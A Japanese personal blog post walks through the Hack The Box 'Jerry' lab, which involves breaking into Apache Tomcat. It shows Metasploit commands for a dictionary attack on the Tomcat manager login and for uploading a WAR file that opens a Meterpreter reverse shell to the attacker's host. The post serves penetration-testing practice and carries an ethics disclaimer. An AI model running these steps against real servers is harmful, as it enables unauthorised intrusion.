10ヶ月くらい前から、Hack The Boxというサイトに入っている。
ペネトレーションテストの勉強をするサイトだ。
ご注意:
ペネトレーションテスト等、セキュリティ研究やテストを行う際は、常に倫理的な行動をとり、対象システムの所有者から適切な許可を得て行うことが重要です。不正アクセスや攻撃は法律で禁止されており、重大な法的責任が伴います。
なので、あくまでも練習として、練習用のサーバーで行うのは、オッケーだが、ガチで実在のサーバーに対して、無許可で行うのは、捕まるので絶対やめた方がよい。
フォースを使っても、暗黒面に落ちではいけないのだ。
StartingPointを一通りやってしまい、次はどうするか、何をやろうか、悩んでいた。
StartingPoint以外にも、いろいろとあるのだけど、ヒントがない問題が多く、さらに攻撃対象のマシンが消えてしまったりするんだ。
検索していたところ、以下のサイトを見つけた。
https://eset-info.canon-its.jp/malware_info/special/detail/240123.html
これによると、
- 「Tracks」というカテゴリは、問題がカテゴリ分けされており、ヒントも多く、マシンが消えることもなさそう。
- 「Challenges」というカテゴリは、サーバー攻撃だけでなく、暗号解析等のCTF用の問題も取り揃えているらしい。
もともと、ペネトレーションテストよりも、CTF競技の腕を磨きたかったので、これはうれしい。
Tracksのなかの問題をやってみよう!
そこで、今回は、Tracksの中の、Intro to Red Teamの中の、Jerryという出題をやってみた。
- TOMCATが動いている。
- TOMCAT管理画面に行ってみる。
- Basic認証がかかっているので、よくあるユーザーとパスワードで突破する。
- 管理画面から、リバースシェルを行うWARファイルをアップロードして実行。
- リバースシェルにて、サーバー内からフラグをゲット。
やり方は多岐にわたるし、ここでは詳しく書かない。下記の書き込みとかを参考にしてほしい。
https://qiita.com/gadagizi/items/048f7fa2248d950e40db
Basic認証突破の詳細
今回は、Basic認証の突破の部分を特に書こう。
Basic認証で、僕の場合は、Tomcatのディフォルトユーザーとパスワードを調べて突破したけど、もう少しシステマティックにもできる。
例えば、hydraという、辞書攻撃ツールを使うとか、metaloitという統合ペネトレーションツールを使うとか。
Hydraを使う方法は、以下が参考になるだろう。
https://qiita.com/yu15_/items/88c5b3403260c1519943
metaploitを使ったBasic認証の辞書攻撃
今回は、metaploitという統合ペネトレーションツールが気になったのでそちらを試してみた。
ターミナル画面で、以下の起動コマンドを実行する。
msfconsole
その後、以下のコマンドを実行していく。
ヒントから、ユーザー名は、tomcatとわかっているので、set USERNAMEでそれを指定。
わかってないなら、設定しなくても良い。初期のユーザーリストが使われるらしい。
set PASSWORDは、設定しなければ、初期のパスワードリストが使われるみたい。
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS <ターゲットのIPアドレス>
set USERNAME tomcat
set PASSWORD <パスワードリストパス>
run
すると、ユーザーIDとパスワードの組を探してくれる。

ここで、Login Successfulと表示されたものが、正しいユーザーIDと、パスワードの組だ。
Successfulになっても、ずっとパスワードを探し続けるので、Ctrl+Cで強制終了しよう。
リバースシェル確立のためのWARファイルを作る
WARファイルを作る
僕の場合、warファイルを作ったけどうまくいかなかった。
https://qiita.com/gadagizi/items/048f7fa2248d950e40db にて
msfvenom を使って、warファイルを作る方法が紹介されているので、参考にした。
metaploitを使うとWARファイル作成から確立まで全自動
しかし、これもmetaploitを使うと、
- warファイルの作成
- warファイルのアップロード
- warファイルの実行
- リバースシェルの確立
をすべて自動でやってくれる。
metaloitを使ったやり方は、以下の通り
起動コマンドを実行。
msfconsole
以下のコマンドを入力。
use exploit/multi/http/tomcat_mgr_upload
set RHOSTS <ターゲットのIPアドレス>
set RPORT 8080
set HTTPUSERNAME <取得したユーザー名>
set HTTPPASSWORD <取得したパスワード>
set LHOST <自分のIPアドレス>
set LPORT <自分のポート番号>
set PAYLOAD java/meterpreter/reverse_tcp
しばらくすると、リバースシェルが確立される。

相手はWindowsっぽいので、dirコマンドを打ってみよう。

なんとなく思ったのだけど、WARファイルを作る、「msfvenom」と、metaploitの起動コマンドの、「msfconsole」は、どちらも「msf」で始まる。
調べたところ、msfvenomは、metaploitの1モジュールなのだそうだ。
コメント